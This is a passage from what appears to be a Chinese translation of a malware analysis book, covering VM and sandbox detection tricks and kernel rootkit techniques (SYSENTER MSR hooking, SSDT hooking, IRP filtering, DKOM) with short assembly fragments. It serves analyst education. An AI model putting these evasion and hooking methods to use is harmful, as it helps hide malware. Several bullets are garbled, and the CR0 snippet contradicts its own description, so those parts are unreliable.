修改窗口标题或类比实际上在这些 API 上设置断点并跟踪回调函数要复杂。流行工具如 OllyDbg 和 IDA 的插件可以帮助重命名它们的标题窗口,以避免被检测(如 OllyAdvanced),你也可以使用它作为一种解决方案。

现在我们了解了行为分析工具如何被检测到,接下来让我们了解沙盒和虚拟机检测。

检测沙盒和虚拟机

恶意软件作者知道,如果他们的恶意软件样本正在虚拟机上运行,那么它很可能正在被逆向工程师分析,或者它可能正在沙盒等自动化工具的分析下运行。有多种方法可以检测虚拟机和沙盒,接下来我们将逐一介绍。

虚拟机和真实机器之间的不同输出

恶意软件作者可以利用一些汇编指令在虚拟机上执行时的独特特征来检测虚拟机。一些例子如下:

  • CPUID指令返回有关 CPU 的信息,并提供该信息在eax中的叶/ID。对于叶 0x01(eax = 1),CPUID指令将第 31 位设置为 1,表示操作系统正在虚拟机或虚拟化程序中运行。

  • CPUID 指令,给定 eax = 0x40000000,它可以返回虚拟化工具的名称(如果存在),并将其作为单个字符串存储在 EBX、ECX 和 EDX 寄存器中。这些名称字符串的示例包括 VMwareVMwareMicrosoft HvVBoxVBoxVBoxXenVMMXenVMM

  • MMX 寄存器:MMX 寄存器是英特尔推出的一组寄存器,旨在加速图形计算。虽然很少见,但有些虚拟化工具不支持它们。一些恶意软件或打包工具利用它们进行解包,以检测或避免在虚拟机上运行。

  • IN 指令,当在 VMware 虚拟机上执行并将端口参数设置为 0x5658(在 ASCII 中表示 VX,即 VMware 超级监视器端口)时,且 EAX 值等于 0x564D5868(VMXh 魔术值),将返回 EBX 寄存器中的相同魔术值 VMXh,从而揭示虚拟机的存在。

检测虚拟化进程和服务

虚拟化软件通常会在客户机上安装一些工具,以启用剪贴板同步、拖放、鼠标同步和其他有用的功能。这些工具可以通过扫描这些进程,使用 CreateToolhelp32SnapshotProcess32FirstProcess32Next API 来轻松检测到。以下是一些此类进程:

  • VMware

    • vmacthlp.exe

    • VMwareUser.exe

    • VMwareService.exe

    • VMwareTray.exe

  • VirtualBox

    • VBoxService.exe

    • VBoxTray.exe

可以使用相同的方法搜索文件系统中的特定文件或目录。

通过注册表键检测虚拟化

有多个注册表键可以用来检测虚拟化环境。它们中的一些与硬盘名称(通常以虚拟化软件命名)、已安装的虚拟化同步工具或虚拟化过程中的其他设置相关。以下是一些注册表条目:

HKEY_LOCAL_MACHINE\SOFTWARE\Vmware Inc.\Vmware Tools
HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions
HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX

使用 WMI 检测虚拟机

不仅是注册表值能揭示有关虚拟化软件的很多信息——Windows 管理的信息也能揭示这些信息,例如通过 PowerShell 访问的内容,如下图所示:

图 6.22 – 检测 VMWare 的 PowerShell 命令

图 6.22 – 检测 VMWare 的 PowerShell 命令

可以通过 WMI 查询访问此信息,例如以下内容:

SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%VMware%" AND Model LIKE "%VMware Virtual Platform%"

对于 Microsoft Hyper-V,命令如下:

SELECT * FROM Win32_ComputerSystem WHERE Manufacturer LIKE "%Microsoft Corporation%" AND Model LIKE "%Virtual Machine%"

这些技术使得隐藏恶意软件运行在虚拟化软件中而非真实机器上的事实变得更加困难。

其他虚拟机检测技术

恶意软件家族可以使用许多其他技术来检测虚拟化环境,例如以下方法:

  • 命名管道和设备,例如 \.\pipe\VBoxTrayIPC

  • 窗口标题或类名,例如 VBoxTrayToolWndClassVBoxTrayToolWnd

  • 网络适配器的 MAC 地址的第一部分:

    • 00:1C:14, 00:50:56, 00:05:69, 00:0C:29 – VMWare

    • 08:00:27 – VirtualBox

    • 00:03:FF – Hyper-V

上述列表可以通过许多类似的技巧和方法进一步扩展,用以检测虚拟化环境。

使用默认设置检测沙箱

沙箱也很容易被检测到。它们有许多默认设置,恶意软件作者可以用来识别它们:

  • 用户名可能是默认值,例如cuckoouser

  • 文件系统可以包含相同的诱饵文件和相同的文件结构(如果没有,则是相同数量的文件)。即使是样本本身的名称也可以始终相同,例如sample.exe

这些设置可以很容易地被常用沙箱检测到,甚至不需要查看它们已知的工具和进程。

除此之外,沙箱通常通过以下特点被检测到:

  • 系统硬件过于薄弱(主要是磁盘空间和内存)

  • 不寻常的系统设置(非常低的屏幕分辨率或没有安装软件)

  • 没有用户交互(缺乏鼠标移动或近期的文件修改)

另一种常见的逃避沙箱的方法是避免在它们的分析时间窗口内执行恶意活动。在许多情况下,沙箱只执行恶意软件几秒钟或几分钟,然后收集必要的信息后终止虚拟机。一些恶意软件家族使用如Sleep这样的 API,或者执行长时间的计算来延迟执行,或者在机器重启后再执行。这种技巧可以帮助恶意软件逃避沙箱,确保它们不会收集重要信息,比如 C&C 域名或恶意软件持久化技术。

这些是一些最常见的沙箱检测技巧。值得一提的是,恶意软件开发者不断发明更多新颖的方法来实现这一目标,因此,跟上它们的步伐需要持续学习和实践。

总结

在本章中,我们介绍了恶意软件作者用来检测和逃避逆向工程的许多技巧,从检测调试器及其断点,到检测虚拟机和沙箱,再到融合混淆和逃避调试器技术。现在你应该能够分析更先进的恶意软件,这些恶意软件配备了多个反调试或反虚拟机的技巧。此外,你还将能够分析实现大量反反汇编技巧的高度混淆恶意软件。

第七章《理解内核模式 Rootkit》中,我们将进入操作系统的核心。我们将覆盖内核模式,学习每个 API 调用和操作如何在 Windows 操作系统内部工作,以及 Rootkit 如何挂钩这些步骤,以隐藏恶意活动,从而避开杀毒软件和用户的眼睛。

第七章:理解内核模式下的 Rootkit

本章我们将深入探讨 Windows 内核及其内部结构和机制。我们将介绍恶意软件作者用来隐藏恶意软件存在的不同技术,避免被用户和杀毒软件发现。

我们将研究不同的高级内核模式挂钩技术、内核模式中的进程注入,以及如何在其中进行静态和动态分析。

在深入了解 Rootkit 和它们是如何实现之前,我们需要理解 操作系统OS)是如何工作的,以及 Rootkit 如何针对操作系统的不同部分并加以利用。

本章将涵盖以下主题:

  • 内核模式与用户模式

  • Windows 内部结构

  • Rootkit 和设备驱动程序

  • 挂钩机制

  • DKOM

  • 内核模式中的进程注入

  • x64 系统中的 KPP(PatchGuard)

  • 内核模式中的静态和动态分析

内核模式与用户模式

你已经看到计算机上运行的多个用户模式进程(所有你看到的应用程序都在用户模式下运行),并学习了如何修改文件、连接互联网并执行大量操作。然而,你可能会惊讶地发现,用户模式应用程序并没有执行所有这些操作的权限。

为了让任何进程创建文件或连接到域,它需要向内核模式发送请求来执行该操作。这个请求是通过所谓的系统调用来完成的,系统调用会切换到内核模式以执行该操作(如果权限允许)。内核模式和用户模式不仅得到操作系统的支持,还得到处理器通过保护环(或硬件限制)的支持。

保护环

x86 处理器提供四个特权环(x64 稍有不同)。每个环的特权比前一个低,如下图所示:

图 7.1 – 处理器环

图 7.1 – 处理器环

Windows 主要使用这两个环:RING 0 用于内核模式,RING 3 用于用户模式。现代处理器如 Intel 和 AMD 还有另一个环(RING 1)用于虚拟机监控程序(Hypervisor)和虚拟化,以便每个操作系统可以原生运行,同时由虚拟机监控程序控制某些操作,如硬盘访问。

这些保护环用于处理故障(如内存访问故障或任何类型的异常)以及安全性。RING 3 具有最少的权限——也就是说,处于此环中的进程无法影响系统,无法访问其他进程的内存,也无法访问物理内存(它们必须在虚拟内存中运行)。相比之下,RING 0 可以做任何事——它可以直接影响系统及其资源。因此,只有 Windows 内核和设备驱动程序可以访问该环。

Windows 内部结构

在我们深入探讨 rootkit 的恶意活动之前,先来了解一下 Windows 操作系统的工作原理以及用户模式与内核模式之间的交互是如何组织的。这些知识将帮助我们理解内核模式恶意软件的具体情况,以及它可能针对系统的哪些部分。

Windows 解剖图

正如我们之前提到的,操作系统分为两部分:用户模式和内核模式。以下图示展示了这一点:

图 7.2 – Windows 操作系统设计

图 7.2 – Windows 操作系统设计

现在,让我们了解一下这些应用程序的作用范围:

  • kernel32.dll 在 Win32 和 Win64 子系统中的作用。

这些 ntdll.dll,它直接与内核模式通信。Ntdll.dll 是一个库,使用特殊指令(如 sysentersyscall,具体取决于模式和是 Intel 还是 AMD 处理器;在本章中我们将交替使用它们)向内核发送请求。请求 ID 是通过 eax 寄存器传递的:

图 7.3 – 系统调用指令

图 7.3 – 系统调用指令

  • 内核模式:管理所有资源,包括内存、文件、用户界面、声音、图形等。它还负责调度线程和进程,并管理所有应用程序的 UI。内核模式与直接发送命令或接收硬件输入的设备驱动程序进行通信。它管理所有这些请求以及在操作前后的任何工作。

这是对 Windows 操作系统工作原理的简要解释。现在,我们将深入探讨从用户模式到内核模式的请求生命周期,以便更好地理解这一切是如何协同工作的。此外,我们还将探讨 rootkit 如何干扰系统并执行恶意活动。

从用户模式到内核模式的执行路径

首先,来看一下需要内核模式功能的一个 API 调用的生命周期(在这个例子中,我们将使用 FindFirstFileA)。我们将详细拆解每一个步骤,以便理解系统中每个部分在处理进程请求时所扮演的角色。这是我们理解恶意软件如何介入这一系列操作的一个重要前提:

图 7.4 – API 调用生命周期

图 7.4 – API 调用生命周期

让我们逐步解析前面的图示,如下所示:

  1. 首先,进程调用了 FindFirstFileA API,该 API 实现于 kernel32.dll 库中。

  2. 然后,kernel32.dll(与所有子系统 DLL 相同)调用 ntdll.dll 库中的一个函数。在这个例子中,它调用了一个名为 ZwQueryDirectoryFile(或 ZwQueryDirectoryFileEx)的 API。

  3. 所有 Zw* API 都执行 syscall 指令,正如你在 图 7.3 中看到的那样。ZwQueryDirectoryFile 通过将命令 ID 以 eax 形式提供来执行 syscall(这里,命令 ID 会随着 Windows 版本的不同而变化)。

  4. 现在,应用程序进入内核模式,执行被重定向到一个名为系统服务调度器的内核模式函数。它在 32 位机器上以KiSystemService(或直接为KiFastCallEntry)的名称提供,在 64 位机器上则是KiSystemCall64;兼容模式下将使用KiSystemCall32名称。系统还可能使用带有Shadow后缀的它们的影像版本(例如,KiSystemServiceShadowKiSystemCall64Shadow)。

  5. 系统服务调度器搜索表示eax形式的命令 ID(在本例中为 0x91)在NtQueryDirectoryFile中的函数。它调用这个函数,并传递所有传递给FindFirstFileA的参数:

图 7.5 – SSDT 解释

图 7.5 – SSDT 解释

  1. 接下来,执行NtQueryDirectoryFile,此函数会发送一个请求,称为fastfat.sysntfs.sys驱动程序(这取决于已安装的文件系统)。更多关于 IRP 的细节将在稍后提供。

  2. 这个请求经过多个附加到文件系统驱动程序的设备驱动程序。这些设备驱动程序可以修改任何请求中的输入以及文件系统返回的输出(或响应)。

  3. 最后,文件系统驱动程序处理请求。IRP 请求通过一个名为sysret(或sysexit)的指令返回到NtQueryDirectoryFile。然后,控制权返回到用户模式进程,并带回结果。

这听起来可能相对复杂,但目前为止,这些就是你需要知道的内容,以便理解内核模式 rootkit 是如何工作的,更重要的是,rootkit 如何利用这个过程中存在的弱点来实现它们的目标。

Rootkit 和设备驱动程序

现在你已经理解了 Windows 内部结构以及用户模式和内核模式交互的工作原理,让我们深入探讨 rootkit。在这一部分,我们将了解 rootkit 是什么以及它们是如何设计的。在我们掌握了 rootkit 的基本概念后,我们将讨论设备驱动程序。

什么是 rootkit?

Rootkit 本质上是提供隐匿功能的低级工具。它们的主要目的是通过隐藏相关的伪迹来使恶意模块更难被检测和修复,从而使目标机器的恶意软件检测和修复过程复杂化。实现这一目标有多种方法,接下来我们将详细讨论这些方法。

Rootkit 的类型

在用户模式、内核模式甚至启动模式中都有各种类型的 rootkit:

  • 用户模式或应用程序 rootkit:我们在第五章中介绍了用户模式 rootkit,检查进程注入和 API 钩取;它们将恶意代码注入到其他进程中,并挂钩其 API,以隐藏恶意软件文件、注册表键和其他妥协指标IoC)不被这些进程发现。它们可以用来绕过防病毒程序、任务管理器等。

  • 内核模式根套件:本章将主要介绍这些根套件。它们是设备驱动程序,钩住内核模式中的不同功能,以隐藏恶意软件的存在并赋予恶意软件内核模式的权限。它们还可以向其他进程注入代码和数据,终止 AV 进程,拦截网络流量,执行中间人攻击MITM)等。

  • 引导根套件:引导根套件是修改引导加载程序的根套件。它们用于在操作系统启动之前加载恶意文件。这使得恶意软件可以在操作系统及其安全机制启动之前完全控制计算机。

  • 固件根套件:这一类威胁针对固件(如统一可扩展固件接口UEFI)或基本输入输出系统BIOS))进行攻击,以实现尽早的执行。

  • 虚拟机监控程序或虚拟根套件:在撰写本文时,这些威胁大多以概念验证PoCs)的形式存在。它们应该位于环 1(虚拟机监控程序)中。

在本章中,我们将重点关注内核模式根套件及其如何钩住多个功能或修改内核对象来隐藏恶意软件。在了解它们的钩子机制之前,首先,让我们理解什么是设备驱动程序。

什么是设备驱动程序?

设备驱动程序是内核模式工具,用于与硬件交互。每个硬件制造商都会创建一个设备驱动程序来与他们自己的硬件通信,并将 IRP 转换为硬件设备能够理解的请求。

操作系统的主要目的之一是标准化与任何类型设备的通信渠道,无论设备供应商如何。例如,如果你将有线鼠标换成了来自不同厂商的无线鼠标,它不应影响与鼠标交互的应用程序。同样,如果你是开发者,你也不必担心用户使用的是什么类型的键盘或打印机。

设备驱动程序使得可以理解 I/O 请求,并以标准化格式返回输出,无论设备的工作方式如何。

还有其他一些驱动程序与实际设备无关,例如防病毒模块,以及在我们的案例中,根套件。内核模式根套件是设备驱动程序,利用内核模式提供的功能来支持实际的恶意软件,确保其隐蔽性和持久性。

现在,让我们看看根套件如何实现它们的目标,以及它们如何利用从用户模式到内核模式的执行路径中的弱点。

钩子机制

在本节中,我们将探讨不同类型的钩子机制。在下面的图示中,我们可以看到根套件在请求处理流程的不同阶段使用的各种钩子技术:

图 7.6 – 根套件的钩子机制

图 7.6 – 根套件的钩子机制

根套件可以在这个过程流的不同阶段安装钩子:

  • 用户模式挂钩/API 挂钩:这些是用于隐藏恶意软件进程、文件、注册表项等的用户模式 API 挂钩机制。我们在第五章中讨论过,检查进程注入和 API 挂钩

  • sysenter将把执行转移到内核模式,并拦截从用户模式到内核模式的所有请求。

  • SSDT 挂钩:该技术与 rootkit 希望挂钩的函数更紧密地合作。这种挂钩类型修改 SSDT,使其将请求重定向到恶意函数,而不是实际处理请求的函数(类似于 IAT 挂钩)。

  • 代码修补:与其修改 SSDT,这种 rootkit 会修补处理请求的函数,使命令一开始就调用恶意函数(类似于 API 挂钩)。

  • 分层驱动程序/IRP 挂钩:这是一种合法的挂钩技术,用于拦截请求并修改输入输出。它更难以检测,因为它是微软官方支持的。

我们还将探索 rootkit 使用的其他技术,例如EPROCESSETHREAD,这些我们在第三章中提到过,x86/x64 的基本静态和动态分析。除此之外,sysenter成为了执行这一操作的首选方法。

现在,让我们更详细地了解这些技术。

挂钩 SYSENTER 入口函数

当用户模式应用程序执行sysenter(在 Windows 2000 及更早版本中为int 0x2e)时,处理器会将执行切换到内核模式,特别是切换到存储在模型特定寄存器MSR)中的特定地址。MSR 是用于调试、监控、切换或禁用各种 CPU 功能的控制寄存器。

在使用sysenter进行用户模式到内核模式的切换过程中,有几个重要的寄存器:

  • sysenter;在这里,SS 段寄存器将是一个值为+8 的 CS 值。

  • sysenter被执行时,它将是参数被复制到的地方。

  • sysenter。它指向系统服务调度器。

  • KiSystemCall64).* KiSystemCall32).

这些寄存器可以分别通过rdmsrwrmsr汇编指令进行读取和修改。rdmsr指令会将寄存器 ID 放入ecx/rcx寄存器中,并将结果返回到edx:eax(在 x64 中为rdx:rax寄存器;这两个寄存器的高 32 位未使用)。以下是一个示例:

mov ecx, 0x176 ; IA32_SYSENTER_EIP
rdmsr ; read msr register
mov <eip_low>, eax
mov <eip_high>, edx

wrmsrrdmsr非常相似。wrmsr将寄存器 ID 放入ecx中,并将要写入的值放入edx:eax寄存器对中。以下是挂钩代码:

mov ecx, 0x176 ; IA32_SYSENTER_EIP
xor edx, edx
mov eax, <malicious_hooking_function>
wrmsr ; write this value to IA32_SYSENTER_EIP

这种技术有多个缺点,具体如下:

  • 对于有多个处理器的环境,仅挂钩一个处理器。这意味着攻击者必须创建多个线程,希望它们能在所有处理器上运行,从而使得挂钩所有处理器成为可能。

  • 攻击者需要从用户模式堆栈中获取参数并解析它们。

  • 以这种方式,所有函数都被挂钩,因此有必要实现一些过滤,以便只检查应挂钩的函数。

这是恶意软件可以在内核模式下挂钩的第一个地方。接下来我们来看第二个地方,就是修改 SSDT 时。

在 x86 环境中修改 SSDT

首先,SSDT 表与 ntoskrnl.exe 中的第一个元素不同,并且由其指向,名称为 KeServiceDescriptorTable。该表有四个不同的 SDT 条目的插槽,但在写作时,Windows 只使用了其中两个:KeServiceDescriptorTableKeServiceDescriptorTableShadow

当用户模式应用程序使用 sysenter 时,正如你在 图 7.3 中看到的,应用程序会将函数编号或 ID 提供到 eax 寄存器中。在 eax 中,这个值以如下方式分割:

图 7.7 – sysenter eax 参数值

图 7.7 – sysenter eax 参数值

这些值如下所示:

  • bits 0-11:这是 系统服务编号 (SSN),它是该函数在 SSDT 中的索引。

  • bits 12-13:这是 SDT,表示 SDT 编号(这里,KeServiceDescriptorTable 是 0x00,KeServiceDescriptorTableShadow 是 0x01)

  • bits 14-31:此值未使用,填充为零

SDT 存储一个 SYSTEM_SERVICE_TABLE 条目的数组,现代操作系统主要使用第一个元素。它包含以下字段:

  • KiServiceTable:这是一个 SSDT 表,表示每个可以通过 eaxsysenter 之前传递的 SSN 的函数地址数组。

  • CounterBaseTable:在 Windows 的免费(零售)版本中未使用。

  • nSystemCalls:这是 KiServiceTableKiArgumentTable 表中项的数量。

  • KiArgumentTable:这是一个数组,其排序方式与 KiServiceTable 相同。这里,每个项包含应为每个函数的参数分配的字节数。

为了让恶意软件挂钩这个表,它需要获取由 ntoskrnl.exe 导出的 KeServiceDescriptorTable,然后移动到 KiServiceTable 并修改它想要挂钩的函数。为了能够修改这个表,必须禁用写保护(因为这是一个只读表)。有多种方法可以实现这一点,最常见的方法是通过修改 CR0 寄存器值并将写保护位设置为零:

PUSH EBX
MOV EBX, CR0
OR EBX, 0x00010000
MOV CR0,EBX
POP EBX

完整的挂钩机制如下所示:

图 7.8 – 来自 winSRDF 项目的 SSDT 挂钩代码

图 7.8 – 来自 winSRDF 项目的 SSDT 挂钩代码

如您所见,应用程序能够获取KeServiceDescriptorTable的地址,该地址在ntoskrnl.exe中以该名称导出。然后,它获取KiServiceTable数组,禁用写保护,最后使用InterlockedExchange在没有其他线程使用时修改表格(InterlockedExhange可以防止应用程序在另一个线程读取时进行写操作)。

在 x64 环境中修改 SSDT

对于 x64 环境,Windows 实现了更多的保护措施来阻止对 SSDT 的修改。最初,SSDT hooking 被恶意软件和反恶意软件产品共同使用,也被沙盒和其他行为型病毒防护工具使用。然而,在 64 位版本中,微软决定完全停止这种做法,并开始提供合法应用程序和其他替代方案,而不是 SSDT hooking。

微软实施了多种形式的保护措施来阻止 SSDT hooking,如通过ntoskrnl.exe中的KeServiceDescriptorTable

由于KeServiceDescriptorTable没有导出,恶意软件家族开始寻找使用该表的函数,以便访问地址。他们使用的其中一个函数是KiSystemServiceRepeat

该功能包含以下代码:

lea r10, <KeServiceDescriptorTable>
lea r11, <KeServiceDescriptorTableShadow>
test DWORD PTR [rbx + lOOh] , 80h

如您所见,该函数使用了两个 SSDT 条目的地址。然而,找到这个函数及其内部代码并不容易。由于该函数接近KiSystemCall64(x64 环境中的sysenter入口函数),恶意软件通常使用IA32_SYSENTER_EIP MSR 寄存器获取KiSystemCall64的地址。通过这样做,它可以从该地址开始搜索,直到找到前面的代码。通常,恶意软件通过搜索特定的操作码来找到这个函数,如下图所示:

图 7.9 – zer0m0n 项目在 x64 环境下的 SSDT hooking

图 7.9 – zer0m0n 项目在 x64 环境下的 SSDT hooking

该机制并不完全可靠,且很容易在以后的 Windows 版本中被打破;然而,它是寻找 x64 环境中 SSDT 地址的最著名机制之一。

打补丁 SSDT 函数

在 SSDT hooking 中,最后一个值得提及的技巧是钩取 SSDT 中引用的函数。这与 API hooking 非常相似。在这种情况下,恶意软件通过函数 ID 从 SSDT 中获取函数,并用jmp <malicious_func>修改前几个字节。然后,在检查调用该函数的进程及其参数后,它将执行返回到原始函数。

采用这一技术是因为 SSDT hooks 很容易被杀毒软件或 rootkit 扫描程序检测到。通过遍历 SSDT 中的所有函数并搜索在合法驱动程序或应用程序内存映像之外的函数,能够轻松地发现钩子。

这就是 SSDT hooking 的全部内容;现在,让我们来看看分层驱动程序,也就是 IRP hooking。

IRP hooking

IRP 是代表设备输入(请求)和输出(响应)的主要对象。在许多情况下,请求包会通过一链条驱动程序进行处理,直到该消息能够被最终设备或用户模式应用程序理解(取决于请求的方向):

图 7.10 – IRP 结构,来自官方文档

图 7.10 – IRP 结构,来自官方文档

例如,假设你想播放一个音乐文件(例如 MP3 文件)。一旦文件被理解 MP3 格式的应用程序打开,它将被转换为内核模式驱动程序可以理解的格式。接着,这个驱动程序会简化该格式并传递给下一个驱动程序,直到它到达实际的扬声器,并以编码的波形组的形式输出。另一个例子是来自键盘的电信号,它被简化为通过 ID(例如 r 键)点击一个按钮。然后,它被传递给键盘驱动程序,驱动程序理解这是字母 r 并将其传递给下一个驱动程序。这一过程一直持续,直到它到达文本编辑器,比如记事本,来写下字母 r

那么,这一切与 rootkit 有什么关系呢?其实,存在于处理 IRP 请求包的驱动链中的 rootkit 可以改变输入或输出,从而操控结果。例如,当研究人员或杀毒软件寻找恶意文件时,驱动程序可以让它变得不可见。这是 Windows 允许开发人员唯一合法的方式,通过它可以挂钩任何来自用户模式的请求并修改其输入和输出。

现在,让我们来看看它在汇编语言中的表现。

设备和主要功能

为了让任何驱动程序能够接收和处理 IRP 请求,必须创建一个设备对象。该设备可以附加到处理特定类型 IRP 请求的设备驱动程序链上。例如,如果攻击者想要挂钩文件系统请求,他们需要创建一个设备并将其附加到文件系统设备链上。之后,便可以开始接收与该文件系统相关的 IRP 请求(例如打开文件或查询目录)。

创建设备对象很简单:驱动程序可以直接调用 IoCreateDevice API 并提供与其要附加的设备相对应的标志。对于恶意软件分析,这些标志可以帮助你理解该设备的目的,例如 FILE_DEVICE_DISK_FILE_SYSTEM 标志。

驱动程序还需要设置所有调度函数(遵循 DRIVER_DISPATCH 结构),这些函数将接收并处理这些请求。每个 IRP 请求都有一个 IRP_MJ_XXX 格式的主要功能代码。此代码帮助我们理解此 IRP 请求的内容,例如 IRP_MJ_CREATE(可用于创建文件或打开文件)或 IRP_MJ_DIRECTORY_CONTROL(可用于查询目录)。初始化是通过将调度函数的指针放置到 DriverObjectMajorFunction 数组中的正确位置来完成的(遵循 _DRIVER_OBJECT 结构),其中 IRP_MJ_XXX 代码充当索引。以下是实现此设置的代码示例:

图 7.11 – 设置主要功能

图 7.11 – 设置主要功能

在这些功能中,驱动程序可以从所谓的 IRP 堆栈中获取此请求的参数。IRP 堆栈包含与此请求相关的所有必要信息,驱动程序可以在处理过程中添加、修改或删除它们。为了获取指向此堆栈的指针,驱动程序调用 IoGetCurrentIrpStackLocation API,并提供感兴趣的 IRP 地址。以下是一个示例,展示了一个过滤名称为 _root_ 文件的主要功能:

图 7.12 – 一个主要功能创建一个过滤器来处理具有“root”名称的文件

图 7.12 – 一个主要功能创建一个过滤器来处理具有“root”名称的文件

在 rootkit 创建了其设备并设置了主要功能后,它可以通过将自己附加到接收 rootkit 感兴趣的请求的设备上来拦截相应的请求。

从用户模式侧,软件也可以利用 DeviceIoControl API 向驱动程序发送自定义请求。调用此函数会创建一个 IRP_MJ_DEVICE_CONTROL 请求。某些 IOCTL 是公开的,它们是系统定义的,并由 Microsoft 文档化,而一些则是私有的,特定于某个软件,包括恶意软件。还值得一提的是,上级驱动程序可以通过 IRP_MJ_DEVICE_CONTROLIRP_MJ_INTERNAL_DEVICE_CONTROL 请求将 IOCTL 代码发送给下级驱动程序。驱动程序会像处理其他 IRP 一样处理它们,通过在驱动对象中注册专门的 DRIVER_DISPATCH 回调函数。

附加到设备

为了让 rootkit 附加到一个命名设备(例如,\\FileSystem\\fastfat,以接收文件系统请求),它需要获取该命名设备的设备对象。有多种方法可以实现这一点,其中一种方法是使用未记录的 ObReferenceObjectByName API。一旦找到设备对象,rootkit 就可以使用 IoAttachDeviceToDeviceStack API 将其附加到设备驱动链中,从而接收发送给它的 IRP 请求。代码可能如下所示:

图 7.13 – 附加到 FastFat 文件系统

图 7.13 – 附加到 FastFat 文件系统

执行 IoAttachDeviceToDeviceStack API 后,驱动程序将被添加到链条的顶部,这意味着 rootkit 驱动程序将是第一个接收到 IRP 请求的驱动程序。然后,它可以通过 IoCallDriver API 将请求传递给下一个驱动程序。此外,在设置完成例程后,rootkit 会是最后一个修改 IRP 请求响应的驱动程序。

修改 IRP 响应并设置完成例程

完成例程涵盖了请求被最后一个驱动程序处理后仍需要进一步处理的情况。对于 rootkit 来说,完成例程允许它修改请求的输出;例如,从特定目录中的文件列表中删除文件名。设置完成例程时,它需要将请求参数复制到链条中较低的驱动程序。为了将这些参数复制到下一个驱动程序的堆栈,rootkit 可以使用 IoCopyCurrentIrpStackLocationToNext API。

一旦所有参数都被复制到下一个驱动程序,恶意软件可以通过 IoSetCompletionRoutine 设置完成例程,然后通过 IoCallDriver 将请求传递给下一个驱动程序。以下是来自微软文档的示例:

IoCopyCurrentIrpStackLocationToNext( Irp ); IoSetCompletionRoutine(
  Irp, // Irp
  MyLegacyFilterPassThroughCompletion, // CompletionRoutine
  NULL, // Context
  TRUE, // InvokeOnSuccess
  TRUE, // InvokeOnError
  TRUE); // InvokeOnCancel
return IoCallDriver(NextLowerDriverDeviceObject, Irp);

一旦链条中的最后一个驱动程序执行 IoCompleteRequest API,完成例程将按顺序执行,从最低的驱动程序的完成例程开始,依次到最高的。如果 rootkit 是附加到该设备的最后一个驱动程序,它的完成例程将在最后执行。

现在,让我们了解另一种常常被 rootkit 用来隐藏恶意活动的技术。

DKOM

DKOM 是 rootkit 用来隐藏恶意用户模式进程的最常见技术之一。该技术依赖于操作系统如何表示进程和线程。要理解这一技术,你需要更多地了解 rootkit 操作的对象:EPROCESSETHREAD

内核对象 – EPROCESS 和 ETHREAD

Windows 为系统中每个创建的进程创建一个叫做 EPROCESS 的对象。该对象包含关于此进程的所有重要信息,例如它的 ActiveProcessLinks,该链连接所有进程的 EPROCESS 对象。每个 EPROCESS 对象包含指向下一个 EPROCESS 对象(表示下一个进程)的地址,称为 FLink,以及指向前一个 EPROCESS 对象(与前一个进程相关)的地址,称为 BLink。这两个地址都存储在 ActiveProcessLinks 中:

图 7.14 – EPROCESS 结构

图 7.14 – EPROCESS 结构

EPROCESS 的确切结构会随着操作系统版本的不同而变化。也就是说,某些字段会被添加,某些字段会被删除,有时还会发生重排。rootkits 必须跟上这些变化,才能操控这些结构。

在深入探讨对象操控策略之前,还有一个你需要了解的对象:ETHREADETHREAD 及其核心 KTHREAD 包含与特定线程相关的所有信息,包括线程上下文、状态以及相应进程对象 (EPROCESS) 的地址:

图 7.15 – ETHREAD 结构

图 7.15 – ETHREAD 结构

当 Windows 在线程之间切换时,它会遵循 ETHREAD 结构中的链接(即连接所有 ETHREAD 对象的链表)。从这个对象,它加载线程的进程(跟踪其 EPROCESS 地址),然后加载线程上下文来执行它。加载每个线程的过程与连接所有进程的链表(特别是它们的 EPROCESS 表示)没有直接关系,这使得 DKOM 攻击非常有效。

rootkits 如何执行对象操控攻击?

为了隐藏进程,rootkit 只需修改前后两个 EPROCESS 对象(相对于恶意软件)的 ActiveProcessLink,跳过它想要隐藏的进程的 EPROCESS 地址。步骤很简单,具体如下:

  1. 使用 PsLookupProcessByProcessId API 获取当前进程的 EPROCESS

  2. 跟踪 ActiveProcessLinks,找到需要隐藏的进程的 EPROCESS 对象。

  3. 更改前一个 EPROCESSFLink 属性,使其不指向此 EPROCESS,而是指向下一个进程。

  4. 更改下一个进程的 BLink 属性,使其不指向此 EPROCESS,而是指向前一个进程。

在此过程中具有挑战性的一部分是,可靠地找到 ActiveProcessLinks,因为 Windows 从一个版本到另一个版本引入了许多变化。处理 ActiveProcessLinks(以及进程 ID)偏移量的技术有多种,如下所示:

  1. 获取操作系统版本,并根据该版本选择合适的偏移量(从为每个操作系统版本预先计算的偏移量中选择)。

  2. 查找进程 ID(可以通过 PsGetCurrentProcessId 获取),并找到与进程 ID 相关的 ActiveProcessLinks 偏移量。

这是第二种技术的示例:

图 7.16 – 从 EPROCESS 对象中查找进程 ID

图 7.16 – 从 EPROCESS 对象中查找进程 ID

一旦 rootkit 能够在 EPROCESS 对象(epocs)中找到进程 ID(pids),它可以使用 ActiveProcessLinks 和进程 ID 之间的偏移量(通常是预先计算好的,并且是结构中的下一个字段)。最后一步是删除进程之间的链接,如下图所示:

图 7.17 – 移除进程链接以执行 DKOM 攻击

图 7.17 – 移除进程链接以执行 DKOM 攻击

结果将如下所示:

图 7.18 – DKOM 攻击 – 遍历时跳过中间的进程

图 7.18 – DKOM 攻击 – 遍历时跳过中间的进程

检测 DKOM 攻击的最常见技术是遍历所有正在运行的线程,并通过它们的链接找到EPROCESS,然后将结果与通过ActiveProcessLinks获得的数据进行比较。如果在ActiveProcessLink中缺少一个出现在活跃线程中的EPROCESS对象,这意味着根套件正在执行 DKOM 攻击,隐藏该进程及其EPROCESS对象。

现在,让我们讨论恶意软件如何在内核模式下执行进程注入。

内核模式下的进程注入

内核模式下的进程注入是一种被多个恶意软件家族广泛使用的技术,包括Stuxnet(其MRxCls rootkit)利用该技术在合法进程名称下维护持久性并隐藏恶意活动。为了让设备驱动程序能够读写进程内存,它需要将自身附加到该进程的内存空间。

一旦驱动程序附加到该进程的内存空间,它就可以看到该进程的虚拟内存,并能够直接读写。举个例子,如果进程可执行文件的 ImageBase 是0x00400000,那么驱动程序可以正常访问它,如下所示:

CMP WORD PTR [00400000h], 'ZM'
JNZ <not_mz>

为了让驱动程序能够附加到进程内存,它需要使用PsLookupProcessByProcessId API 获取其EPROCESS,然后使用KeStackAttachProcess API 附加到该进程的内存空间。在反汇编代码中,代码如下所示:

